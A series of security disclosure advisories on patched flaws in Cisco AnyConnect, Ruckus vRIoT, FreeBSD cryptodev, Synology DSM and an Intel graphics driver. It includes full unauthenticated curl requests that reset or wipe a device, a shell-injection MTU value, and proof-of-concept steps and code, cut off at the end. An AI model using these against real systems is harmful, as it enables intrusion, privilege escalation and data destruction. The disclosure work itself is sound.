SSD Advisory – Cisco AnyConnect Privilege Elevation through Path Traversal

Vulnerability Summary
The update functionality of the Cisco AnyConnect Secure Mobility Client for Windows is affected by a path traversal vulnerability that allows local attackers to create/overwrite files in arbitrary locations. Successful exploitation of this vulnerability allows the attacker to gain SYSTEM privileges.

Credit
An independent Security Researcher, Yorick Koster, has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Cisco AnyConnect Secure Mobility Client for Windows, Version 4.8.01090.

CVE
CVE-2020-3153

Vendor Response
Cisco has released a patch, available from: https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ac-win-path-traverse-qO4HWBsj

Vulnerability Details
Cisco AnyConnect Secure Mobility Client contains functionality to auto-update itself. Auto-update also works for low-privileged users, which is possible because the update is initiated from a service called Cisco AnyConnect Secure Mobility Agent and is running with SYSTEM privileges. This service exposes TCP port 62522 on the loopback device to which clients can connect and send commands to be handled by this service. One of these command is to launch the vpndownloader application and update AnyConnect.

A path traversal vulnerability exists in the vpndownloader application for Windows that allows a local user to create and run files outside of the temporary installer folder. Successful exploitation of this vulnerability allows a local attacker to gain SYSTEM privileges.

The AnyConnect auto-update functionality has been affected by a number of vulnerabilities in the past that can be abused by local users to gain SYSTEM privileges (eg. Kostya Kortchinsky, Securify, Project Zero, SerializingMe). Cisco has made a number of changes to mitigate these attacks, amongst these changes are:

  • Executables need to have a valid Authenticode signature from Cisco Systems, Inc.
  • (New) versions of vpndownloader.exe are copied to %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Downloader.
  • Proper NTFS Permissions are (now) set on the %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\ folder.
  • the vpndownloader.exe executable must have vpndownloader.exe configured as the original filename in its version information.
  • When vpndownloader.exe launches additional installation files, these files also need to have a valid Authenticode signature from Cisco Systems, Inc..
  • Installation files are copied in a separate temporary folder under %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer before they are executed.

In a nutshell, the auto-update mechanism works by send a message to the AnyConnect Agent to launch vpndownloader.exe and instruct it to perform a certain action (as command line argument). This action is either moving/copying a profile (XML) file to a profile folder or launch a Cisco signed installer file. Technically, this doesn’t need to be an installer file, any Cisco signed executable will do. When vpndownloader.exe is instructed to run an installer file, the file is first copied to a temporary folder under %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer.

After the file has been copied, the digital signature is checked including the signer of the file. If all checks out, the file is launched from the temporary folder and the folder is deleted after execution has completed.
Because the executable is copied to a new temporary folder, and the folder has proper NTFS permissions, it is not possible to perform a file/DLL planting attack to run arbitrary code. In addition, the file must be signed by Cisco and the signature must be valid, preventing the execution of arbitrary executable.

A path traversal vulnerability exists in the step where the (user-supplied) executable is copied into the temporary folder. vpndownloader.exe will extract the target file name from the source file name. Essentially it does this by searching for the last occurrence of the backslash (\) character in the source path, the right part after the backslash is treated as the filename and is used as the target file name. AnyConnect does not take into account that the Windows API also accepts the forward slash (/) as directory separator character. Because of this it is possible to cause vpndownloader.exe to create files outside its temporary folder.

Since the signature verification is done after the file is copied, it is possible for an attacker to copy any file to any location residing on the same volume as %ProgramData% (generally C:\). Copying of the file is done with SYSTEM privileges – when vpndownloader.exe is launched through the AnyConnect Agent. If the target file exists and SYSTEM has write access to this file, it will be overwritten with the attacker-supplied file. This alone is enough for a local user to gain elevated privileges.

Another attack scenario is to hijack a DLL that is loaded by a Cisco signed executable. Most Cisco executable are affected by DLL hijacking, a common DLL that is used by Cisco applications is the dbghelp.dll file. The attack consists of two steps:

  1. Create an attacker-controlled dbghelp.dll file outside of the temporary folder to prevent removal, traversing one folder up is enough.
  2. Launch a Cisco signed executable which is vulnerable to DLL hijacking from the same folder, again using the path traversal vulnerability.

When the Cisco signed executable is launched through the AnyConnect Agent, it will also run with SYSTEM privileges. The code in the attacker-controlled DLL will also run with these privileges. The application itself is opened within Session 0. Windows 10 1803 has removed the Interactive Services Detection Service, which makes it impossible for users to interact with any GUI displayed in Session 0. This of course does nothing to stop an attacker from gaining SYSTEM privileges, but it does require an additional step for the attacker to launch a GUI application with elevated privileges.

Exploit
The POC is a PowerShell module which has the function Invoke-ExploitAnyConnectPathTraversal. This function has two modes.

Without arguments:
This mode tries to hijack %ProgramFiles%\Common Files\microsoft shared\ink\HID.dll, which is used by the on-screen keyboard. Run the following commands in a PowerShell prompt:

  1. Import-Module .-ExploitAnyConnectPathTraversal.psm1
  2. Invoke-ExploitAnyConnectPathTraversal
  3. Lock the Windows session or sign out
  4. Open accessibility tools in the login screen and launch the on-screen keyboard

A PowerShell prompt should open (behind the keyboard) running as SYSTEM. (Note that the on-screen keyboard of Windows 7 isn’t affected by this DLL hijack).

With arguments:
Running the function with arguments will create three files within %ProgramData%\Cisco\Cisco AnyConnect Secure Mobility Client\Temp\Installer:

  • payload.bat
  • dbghelp.dll
  • cstub.exe

cstub.exe is a Cisco signed executable, which will be launched by vpndownloader. dbghelp.dll is hijacked to run payload.bat. The provided argument(s) are written to payload.bat and thus will run as SYSTEM.

  1. Import-Module .-ExploitAnyConnectPathTraversal.psm1
  2. Invoke-ExploitAnyConnectPathTraversal

SSD Advisory – Ruckus IoT vRIoT Server Vulnerabilities

Vulnerability Summary
The Ruckus IoT Suite is a collection of network hardware and software infrastructure used to enable multi-standard Internet of Things devices access the network. The IoT Controller, part of the IoT Suite, is a virtual controller that performs connectivity, device and security management for non Wi-Fi devices.
Many functionalities are exposed by the IoT Controller which naturally require a form of authentication. Authentication is present in the Controller in the form of a login mechanism, but there are many functions which ignore the authentication of a user and allow unauthorized users to issue different commands, resulting in potential security breaches.

CVE
CVE-2020-8005

Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
Ruckus IoT vRIoT Version 1.4

Vendor Response
Placeholder

Vulnerability Details
There are multiple unprotected functions in the Controller portal of the Ruckus IoT server. Many functions, such as changing the admin password, are protected by authentication and return a 401 Unauthorized when called without supplying an authentication header or cookie, proving one is an authorized user of the system. But there are many other functions which aren’t protected and a remote unauthenticated user can use them to gain privileged access and disable privileged processes or access sensitive data. Many exploitable bugs were found, which include:

  1. Remote pre-auth configuration manipulation
  2. Full access to backups including restoration, retrieval and deletion of backups.
  3. Downgrading and upgrading firmware versions
  4. Control of system services
  5. Remote factory reset of the server

There are 3 other unprotected functions which yield unclear security impact and were not investigated further, but are nevertheless included.

Reproduction
Remote Configuration Change
The service located at /service/init is responsible for configuration management. When sending it an HTTP PATCH request, the supplied JSON formatted configuration will be interpreted and saved. This allows the configuration of different important settings such as DNS servers.

curl -i -s -k -X 'PATCH'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*' -H 'Accept-Language: en-US,en;q=0.5'                                           \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 267'                                                                        \
-H 'Connection: close'                                                                          \
--data-binary '{"configurations":{"hostname":"vriot1","dns":"8.8.8.8","timezone":"America/Los_Angeles","ipv4_mode_radio":"1","ip-address":"iot-server","dns2":"8.8.4.4","gateway":"10.10.10.1","subnet-mask":"255.255.255.0","systemtime":["1",null,"ntp.ubuntu.com"],"key":"","cert":""}}' \
'https://iot-server/service/init'

The device needs to reboot it’s services, which should all happen automatically as part of it’s routine, and only then the change will take effect.


Manipulation of Arbitrary Backups
The backup manipulation service, which is located at /service/v1/db, allows for three operations: loading, downloading and deletion of backup files.
Loading backups:
When sending an HTTP POST request to /service/v1/db/restore the server will restore the backups file requested in the request body. This name can be either known beforehand or bruteforced, as the filename follows a specific pattern.

curl -i -s -k -X 'POST'                                                                         \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/restore'

Device will reboot to restore the arbitrarily chosen backup
Downloading backups:
Sending an HTTP GET to /service/v1/db/backup with filename as a parameter will yield you the requested backup file. This name can either be known beforehand or brute forced easily.

curl -i -s -k -X 'GET'                                                                          \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
'https://iot-server/service/v1/db/backup?fileName=VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz'
HTTP/1.1 200 OK
...
{"message": {"ok": 1, "file_path": "/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz"}}
wget https://iot-server/static/dbbackup/VRIOT_DB_2019-09-27-00-48-59_GMT.tar.gz

Deleting backups:
Sending an HTTP DELETE request to /service/v1/db/backup will enable the deletion of backup files. The filename of the backup is supplied through the parameter.

curl -i -s -k -X 'DELETE'                                                                       \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 54'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"fileName":"VRIOT_DB_2019-09-27-03-53-40_GMT.tar.gz"}'                          \
'https://iot-server/service/v1/db/backup'

Firmware Version Manipulation
The service located in /service/upgrade/flow allows changing the firmware of the device. This allows downgrade attacks, where a potential attacker may change the firmware to a vulnerable one.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 24'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"version":"1.4.0.0.17"}'                                                        \
'https://iot-server/service/upgrade/flow'

The device will reboot if the supplied firmware version exists.


Service Manipulation
The service located at /module/ allows for three operations: stop, start and restart. The operation can be appended URL, and the name of the process is specified using the parameter. The name of the process can be retrieved through a terminal of a machine running the operating system, like a virtual machine.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'Content-Type: application/json'                                                             \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Content-Length: 23'                                                                         \
-H 'Connection: close'                                                                          \
--data-binary '{"process":"core:mqtt"}'                                                         \
'https://iot-server/module/stop'

Remote Factory Reset
The service running at /reset enable issuing a factory reset of the machine. This deletes all configurations and information stored on the machine. This functionality enables an attacker to create a Denial of Service attack.

curl -i -s -k  -X 'POST'                                                                        \
-H 'Host: iot-server'                                                                           \
-H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
-H 'Accept: */*'                                                                                \
-H 'Accept-Language: en-US,en;q=0.5'                                                            \
-H 'Accept-Encoding: gzip, deflate'                                                             \
-H 'Referer: https://iot-server/refUI/'                                                         \
-H 'X-Requested-With: XMLHttpRequest'                                                           \
-H 'Connection: close'                                                                          \
-H 'Content-Length: 0'                                                                          \
'https://iot-server/reset'

Additional Bugs (unknown impacts)

  • Upload new images
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name=\"file\"; filename=\"test.image\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/upgrade/upload'
    
  • Upload patches
    curl -i -s -k  -X 'POST'                                                                        \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: */*'                                                                                \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'X-Requested-With: XMLHttpRequest'                                                           \
    -H 'Content-Length: 178'                                                                        \
    -H 'Content-Type: multipart/form-data; boundary=---------------------------237911457221800'     \
    -H 'Connection: close'                                                                          \
    --data-binary "-----------------------------237911457221800\x0d\x0aContent-Disposition: form-data; name="\file\"; filename=\"test.patch\"\x0d\x0a\x0d\x0acontent here\x0d\x0a-----------------------------237911457221800--\x0d\x0a"    \
    'https://iot-server/patch/upload'
    
  • Diagnostic Data (The generate diagnostic data button is protected and must already have been generated by an admin prior)
    curl -i -s -k  -X 'GET'                                                                         \
    -H 'Host: iot-server'                                                                           \
    -H 'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:59.0) Gecko/20100101 Firefox/59.0' \
    -H 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8'                    \
    -H 'Accept-Language: en-US,en;q=0.5'                                                            \
    -H 'Accept-Encoding: gzip, deflate'                                                             \
    -H 'Referer: https://iot-server/refUI/'                                                         \
    -H 'Connection: close'                                                                          \
    -H 'Upgrade-Insecure-Requests: 1'                                                               \
    'https://iot-server/static/diagnostic/diagnostic_2019-09-26-20-43-42.tar.gz'
    

SSD Advisory – FreeBSD Use After Free due to Race Condition

Vulnerability Summary
In FreeBSD there is a cryptographic device module called cryptodev which is accessible by any user on the system. Due to an absence of a locking mechanism, an attacker is able to create a race condition in the device mechanism and trigger a Use After Free vulnerability. If performed correctly, an attacker is able to use this vulnerability to gain control of the kernel and gain access to the attacked machine.

Credit
An independent Security Researcher, Avi S., has reported this vulnerability to SSD Secure Disclosure program.

Affected Systems
FreeBSD 4.8

Vulnerability Details
Since FreeBSD 4.8, an in-tree cryptographic device module was included called cryptodev, found in the source tree under sys/opencrypto/cryptodev.c. This module creates a device /dev/crypto, which has permissions 666, making it globally accessible to any user.
Interaction with this driver occurs by calling the CRIOGET ioctl on the device. This allows users to create an instance of a cryptof device, which represents an instance of a device for a user, which is given back to the user as a file descriptor.
The resulting file descriptor can be used in subsequent calls, which are then handled by cryptof_ioctl. This ioctl handles session establishment between the hardware accelerators and the user, acting as a hardware abstraction layer (HAL) for the supported devices.

Bug
The bug itself has to do with the locking, or lack there of, in the ioctl handler for cryptof_ioctl, and similarly, cryptof_close. While locking exists in a few select portions of the code base, in general, most operations will occur unlocked.
This becomes an issue particularly around the session end, where operations are releasing memory. Racing a close() operation on a syscall with partically any other operation in the ioctl can give you the ability to trigger a use-after-free vulnerability.

Exploit
The proof-of-concept exploit targets a race between cryptof_close, and the ioctl CIOCFSESSION. If the race wins then cryptof_ioctl should call csedelete on a released struct csession, or, cryptof_close will attempt to TAILQ_REMOVE a released struct csession from its linked list. There is also a spraying thread, which sprays fake struct csessions using the syscall mac_set_fd, which will create a heap allocation and copyin user supplied data, then subsequently error out due to invalid data being supplied and release it.
With all 3 threads going at the same time (in practice more are used to guarantee success), this allows us to get an invalid TAILQ_REMOVE, which will be used to overwrite the null_cdevsw.d_ioctl. A few threads will be spawned which will try to trigger this ioctl indefinitely to gain control of the instruction pointer.
However, due to the fact that the TAILQ_REMOVE procedure will also attempt to write to the value which is used for the overwrite, this race usually fails and instead we get an error attempting to write to the address. This however is just used for demonstration of the bug, and in practice this demo value could be replaced with a more useful pointer that could be written to.

Additional Notes
This race can be used to attack other commands in the ioctl, and while we briefly explored the possibility of attacking those commands, the double release case seemed like the path of least friction.
There is an additional bug in cryptodev which will create a massive allocation: this is the fact that mackeylen in struct session_op is a signed integer, so if set to 0xFFFFFFFF it will create a massive allocation, which additionally gets sign extended up to 64 bits. This triggers a bug in the large allocation function in the kernel malloc function, where size = roundup(size, PAGE_SIZE); which occurs in the large memory allocator causes it to overflow the size of the allocation.
Unfortunately this is most likely unexploitable (atleast from this vector), and instead it just causes a kernel panic on a dereference to an address that can’t be allocated.
Also note, there is a provided fake_cryptodev.h, which can be used for linting on a non-FreeBSD platform. You can use a flag passed into the compiler in build.sh to switch between the real and fake cryptodev.h files.

You can find the exploit on our Github repository: https://github.com/ssd-secure-disclosure/advisories/tree/master/SSD%20Advisory%20-%204147

SSD Advisory – Synology DSM Remote Command Injection

Introduction
Network-attached storage devices allow multiple users and heterogeneous client devices to retrieve data from centralized disk capacity. These NAS stations are a must for secured file sharing and thus becoming a popular target for hacking attempts. Read below on how a fellow researcher working with our team demonstrated getting access via Authenticated Remote Command into a Synology’s DiskStation Manager.
Remote Command Injection and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerability Summary
The following advisory describes an Authenticated Remote Command Injection in Synology’s DiskStation Manager.
Credit
An independent Security Researcher has reported this vulnerability to SSD Secure Disclosure program.
Affected Systems
Synology DSM version 6.2.2 before update 24922
Vendor Response
Synology has fixed the vulnerability in DSM version 6.2.2-24922. For more information see Synology-SA-19:37 DSM.
Vulnerability Details
This vulnerability is similar to CVE-2017-12075, which was fixed in DSM 6.2-23739.
When setting PPPoE network in EZ-Internet, a username and password pair is required for authentication and is saved in /etc/ppp/pppoe.conf.
The following code snippet exists in Synology’s DSM 6.2-23739:

// PPPoEConfigSet() in /usr/lib/libsynonetsdk.so.6
__int64 __fastcall PPPoEConfigSet(...)
{
  // ...
  v46 = SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "ETH", &a7, "%s=%s\n");
  v47 = "/etc/ppp/pppoe.conf";
  v48 = 257LL;
  if ( v46 < 0 )
    goto LABEL_17;
  v49 = "no";
  if ( a46 )
    v49 = "yes";
  v50 = SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "DEFAULTROUTE", v49, "%s=%s\n");
  v47 = "/etc/ppp/pppoe.conf";
  v48 = 262LL;
  if ( v50 < 0 )
    goto LABEL_17;
  v51 = &a7;
  v73[0] = '\'';
  v52 = 1;
  while ( 1 )			// fix for CVE-2017-12075: wrap username with ''
  {
    v53 = *((_BYTE *)v51 + 16);
    v54 = v52 + 1;
    if ( !v53 )
      break;
    if ( v53 == '\'' )
    {
      if ( v52 > 505 )
        break;
      v73[v52] = '\'';
      v73[v54] = '"';
      v73[v52 + 2] = '\'';
      v55 = v52 + 3;
      v52 += 4;
      v73[v55] = '"';
      v73[v52] = '\'';
    }
    else
    {
      if ( v52 > 509 )
        break;
      v73[v52] = v53;
    }
    ++v52;
    v51 = (int *)((char *)v51 + 1);
  }
  v73[v52] = '\'';
  v73[v54] = 0;
  if ( SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "USER", v73, "%s=%s\n") < 0 )
  {
   // ...
  }
  // !!! MTU parameter still suffers from the same issue
  if ( SLIBCFileSetKeyValue("/etc/ppp/pppoe.conf", "MTU", &a45, "%s=%s\n") < 0 )
  {
    // ...
  }
  //...
}

As we can see, the username is wrapped with single quotes to fix CVE-2017-12075. In addition, there are some other parameters which will be saved in /etc/ppp/pppoe.conf such as the MTU.
In the function syno::network::PPPoEInterface::SetData(), there exists a check against the parameters before the call to syno::network::PPPoEInterface::Apply(). These parameters are obtained directly from the HTTP request which is controlled by the user, including the username and mtu_config. It should be noted that the length of mtu_config is limited to less than 8 characters.

// syno::network::PPPoEInterface::Check() in /usr/lib/libwebapi-Network-Share.so
signed __int64 __fastcall syno::network::PPPoEInterface::Check(__int64 a1, Json::Value *a2)
{
  // ...
  v2 = a1;
  if ( (unsigned __int8)Json::Value::isMember(a2, "ifname") )
  {
    Json::Value::operator[](a2, "ifname");
    Json::Value::asString((Json::Value *)&v20);
    v3 = std::string::compare((std::string *)&v20, "pppoe");
    // ...
    if ( v3 )
    {
      v17 = (Json::Value *)Json::Value::operator[](a2, "ifname");
      v18 = Json::Value::asCString(v17);
      syslog(3, "%s:%d Incorrect ifname [%s]", "pppoe_interface.cpp", 412LL, v18);
      result = 0xFFFFFFFFLL;
    }
    else
    {
      if ( (unsigned __int8)Json::Value::isMember(a2, "real_ifname") )
      {
        v12 = (Json::Value *)Json::Value::operator[](a2, "real_ifname");
        v13 = Json::Value::asCString(v12);
        snprintf((char *)(v2 + 396), 0x10uLL, "%s", v13);
      }
      else
      {
        snprintf((char *)(v2 + 396), 0x10uLL, "%s", v2 + 64);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "username") )
      {
        v5 = (Json::Value *)Json::Value::operator[](a2, "username");
        v6 = Json::Value::asCString(v5);
        snprintf((char *)(v2 + 412), 0x100uLL, "%s", v6);
      }
      else
      {
        snprintf((char *)(v2 + 412), 0x100uLL, "%s", v2 + 80);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "password") )
      {
        v7 = (Json::Value *)Json::Value::operator[](a2, "password");
        v8 = Json::Value::asCString(v7);
        snprintf((char *)(v2 + 668), 0x20uLL, "%s", v8);
      }
      else
      {
        snprintf((char *)(v2 + 668), 0x20uLL, "%s", v2 + 336);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "mtu_config") )
      {
        v9 = (Json::Value *)Json::Value::operator[](a2, "mtu_config");
        v10 = Json::Value::asCString(v9);
        snprintf((char *)(v2 + 700), 8uLL, "%s", v10);  // !!! length is limited
      }
      else
      {
        snprintf((char *)(v2 + 700), 8uLL, "%s", v2 + 368);
      }
      if ( (unsigned __int8)Json::Value::isMember(a2, "is_default_gateway") )
      {
        v14 = (Json::Value *)Json::Value::operator[](a2, "is_default_gateway");
        *(_DWORD *)(v2 + 708) = (unsigned __int8)Json::Value::asBool(v14);
        result = 0LL;
      }
      else
      {
        *(_DWORD *)(v2 + 708) = *(_DWORD *)(v2 + 376);
        result = 0LL;
      }
    }
  }
  else
  {
    syslog(3, aSDNo, "pppoe_interface.cpp", 407LL);
    result = 0xFFFFFFFFLL;
  }
  return result;
}

Then in the shell script /usr/sbin/pppoe-start the file /etc/ppp/pppoe.conf will be executed in the shell environment.

# content from /etc/ppp/pppoe.conf
# Ethernet card connected to DSL modem
ETH=eth0
# PPPoE user name.
USER='test'
# ...
MTU=`id>aa`    # corresponding to the poc.py
# content from the /usr/sbin/pppoe-start script
CONFIG=/etc/ppp/pppoe.conf
USER=""
ETH=""
ME=`basename $0`
# ...
export CONFIG
. $CONFIG	# execute here

As we can see, the injected command through the MTU parameter will be executed thus causing the vulnerability, but it is still limited by the length of the parameter.
Note: To exploit this vulnerability the user has to be authenticated and in order to access the EZ-Internet functionality he has to be in the administration group

SSD Advisory – Intel Windows Graphics Driver Buffer Overflow to Privilege Escalation

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.

System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerability Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows local users to gain Escalation of Privileges or cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-11112
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH 25.20.100.6323 and on 25.20.100.6577 (latest at the time of writing this report), on Windows 10 Version 1809.
Vendor Response
Intel fixed the issue in versions 26.20.100.6813 and 26.20.100.6812 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
(more…)

SSD Advisory – Intel Windows Graphics Driver Out of Bounds Read Denial of Service

Introduction
Since 2014, Intel is dominating the PC market as the leading graphics chip vendor worldwide with ~70% market share. With this overwhelming amount of units, any vulnerabilities found are bound to make an impact. Read below on how our team gained system access using an Intel’s graphics driver privilege escalation vulnerability.
System access vulnerabilities and others will be discussed at TyphoonCon, the best All Offensive Security Conference in Asia which will take place from June 15th to June 19th 2020, in Seoul, Korea. Reserve your spot for TyphoonCon and register to TyphoonPwn for your chance to win up to 500K USD in prizes in our hacking challenges.
Vulnerabilities Summary
The igdkmd64 module in the Intel Graphics Driver DCH on Windows allows unprivileged users to cause Denial of Service (crash) via a crafted D3DKMTEscape request.
CVE
CVE-2019-14591
Credit
SSD Secure Disclosure / Ori Nimron
Affected Systems
Tested on Intel Graphics Driver DCH:
25.20.100.6323.
25.20.100.6577.
25.20.100.6618 (latest at the time of writing this report).
Testing environment:
OS Name Microsoft Windows 10 Pro.
Version 10.0.17134 Build 17134.
OS Manufacturer Microsoft Corporation.
System Model System Product Name.
System Type x64-based PC.
Processor Intel(R) Core(TM) i7-6700 CPU @ 3.40GHz, 3401 Mhz, 4 Core(s), 8 Logical Processor(s).
Vendor Response
Intel fixed the issue in version 26.20.100.7209 of the Intel(R) Graphics Driver. For more information see 2019.2 IPU.
Vulnerability Details
The driver’s callback function DxgkDdiEscape contains an Out-Of-Bound Read that can be triggered by unprivileged users who can trigger the vulnerability by crafting a malicious request to the D3DKMTEscape function.
In DxgkDdiEscape, there is a global variable (which I named as “escape_jmp_table”) which is an array of pointers to functions. The function will choose which function to call based on the value of the third parameter of the privateDriverData value that is controlled by the local user.
The structure of privateDriverData looks something like this:

typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[100];
} privateDriverData;

The DxgkDdiEscape will call to sub_14004FCE0 (which I will name it as ESCAPE_CONTINUE_TO_TABLE). The ESCAPE_CONTINUE_TO_TABLE will load the “escape_jmp_table” and will call the function to which escape_jmp_table[pPrivateDriverData.escape_jmp_table_index] points to.

The vulnerability discovered lies in the function being called by the pointer found by the value of the second index of the escape_jmp_table. This function (sub_140085E70) does a switch case on the fourth parameter of the privateDriverData and decides to which function to call by the value given.
This image shows the various switch case handling this function (sub_140085E70) supports:

In case that the value of the fourth parameter in the structure is 205, the function the sub_140092E80 will be called:

This function allocates a buffer on the stack and calls sub_1400AD9F0 with this buffer, I will name this buffer as local_buf:

The subsequent function sub_1400AD9F0 does a memcpy(pPrivateDriverData.buffer + 0xb, 0x200, localbuf + 0xb, 0x200).
The memcpy is called with a fixed size, no checks on the pPrivateDriverData buffer size, which means that if pPrivateDriverData.buffer length is smaller than 0x200 + 0xb, an overflow will be triggered. This overflow can lead to Escalation of Privileges (by utilizing a null pointer dereference exploitation method) or local Denial of Service.

Proof of Concept
The following PoC calls the D3DKMTEscape function with previously mentioned parameters that will trigger the vulnerable function and the system will crush due to security cookie check failure. The full code is in the Escape directory which contains a visual studio solution:

#define BUF_SIZE 100
static const char* intel = "Intel";
typedef struct {
	UINT unknown1;
	UINT unknown2;
	UINT escape_jmp_table_index;
	UINT switchcase_index;
	char buffer[BUF_SIZE];
} PrivateDriverData;
int main()
{
	int result = 0;
	DRIVER_INFO driverInfo = { 0 };
	D3DKMT_ESCAPE escapeObj = { 0 };
	PrivateDriverData data = { 0 };
	int status = initDriver(&driverInfo, intel);
	if (!NT_SUCCESS(status)) {
		printf("Could not initialize connection to driver");
		return -1;
	}
	printf("[+] Initialized driver\n");
	escapeObj.Type = D3DKMT_ESCAPE_DRIVERPRIVATE;
	escapeObj.hAdapter = driverInfo.hAdapter;
	escapeObj.hDevice = (D3DKMT_HANDLE)NULL;
	data.unknown1 = 'AAAA';
	data.unknown2 = 'BBBB';
	data.escape_jmp_table_index = 1;
	data.switchcase_index = 205; // vulnerable case
	memset(data.buffer, 'A', BUF_SIZE);
	escapeObj.pPrivateDriverData = (void*)&data;
	escapeObj.PrivateDriverDataSize = sizeof(data);
